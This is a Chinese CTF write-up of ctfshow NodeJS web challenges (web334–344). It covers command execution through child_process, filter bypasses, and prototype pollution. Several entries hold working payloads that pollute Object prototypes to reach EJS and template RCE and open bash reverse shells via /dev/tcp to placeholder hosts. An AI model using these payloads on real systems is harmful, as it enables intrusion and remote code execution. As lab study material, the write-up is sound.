Web之NodeJS

学习连接

P神

安全客

有趣的题目

web334

直接ctfshow,123456

web335

学了nodejs下的命令执行

比如

require('child_process').execSync('ls /').toString()
require('child_process').spawnSync( 'ls', [ '/' ] ).stdout.toString()

Y4师傅的payload:global.process.mainModule.constructor._load('child_process').exec('calc')

web336

存在过滤

?eval=__filename读取当前路径地址

?eval=require('fs').readFileSync('/app/routes/index.js')来读文件

发现过滤了execload

可以直接require('child_process').spawnSync( 'ls', [ '/' ] ).stdout.toString()

也可以考虑字符串拼接

比如require('child_process')['exe'+'cSync']('ls').toString()

感觉有点像python

还有种方法就是require('fs').readdirSync('.')来读目录下的文件

然后直接readFileSync

web337

var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    res.end(flag);
  }

小trick:a[x]=1&b[x]=2

web338

终于来原型链污染了

{"__proto__":{
"ctfshow":"36dboy"
}
}

web339

![image-20220907112426170](/Users/acheing/Library/Application Support/typora-user-images/image-20220907112426170.png)

这里的utils.copy可以污染原型链,但是下面的secret.ctfshow==flag似乎不大能利用

![image-20220907112649934](/Users/acheing/Library/Application Support/typora-user-images/image-20220907112649934.png)

注意到这里的query其实是可以污染的

![image-20220907112859461](/Users/acheing/Library/Application Support/typora-user-images/image-20220907112859461.png)

hgg:因为所有变量的最顶层都是object,当前环境没有y4tacker,它会直接去寻找Object对象的属性当中是否有y4tacker这个键zhi对是否存在

于是这里可以利用污染query来弹shell

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}

据说不套两层bash会报错...

这里不用require是因为

Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

好像可以利用express本身的漏洞。。。

以后再学qwq

web340

![image-20220907165523111](/Users/acheing/Library/Application Support/typora-user-images/image-20220907165523111.png)

一开始想利用这里的user.userinfo.isAdmin,但是因为该变量已经有这个属性了,所以污染不了

所以还是考虑用api

![image-20220907170000639](/Users/acheing/Library/Application Support/typora-user-images/image-20220907170000639.png)

不过这里要污染Object环境要调用两层__proto__

Web341

一个ejs的rce。。。

先抄一下paylaod,别的以后再学

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.111/11111 0>&1\"');var __tmp2"}}}

web342

也是抄了payload,别的以后再学

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"')"}}}

web343

同上

web344

router.get('/', function(req, res, next) {
    res.type('html');
    var flag = 'flag_here';
    console.log(req.url)
    if(req.url.match(/8c|2c|\,/ig)){
        res.end('111where is flag :)');
    }
    var query = JSON.parse(req.query.query);
    if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
        res.end(flag);
    }else{
        res.end('222where is flag. :)');
    }
});

这里要传一个json,而且过滤了逗号

这里利用了nodejs的一些特性

输出可以发现上面这里的req.url.match其实还是在URL编码下的,所以逗号可以直接用%2c绕过

2c也被过滤了

payload是这样的:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

首先就是node.js处理req.query.query的时候,它不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以绕过逗号了。至于c那个之所以要再进行url编码成%63,就是因为前面的%22,会造成%22c,正好ban了2c,所以c也需要进行url编码。

参考资料

https://blog.csdn.net/rfrder/article/details/115218397


告别纷扰,去寻找生活的宝藏。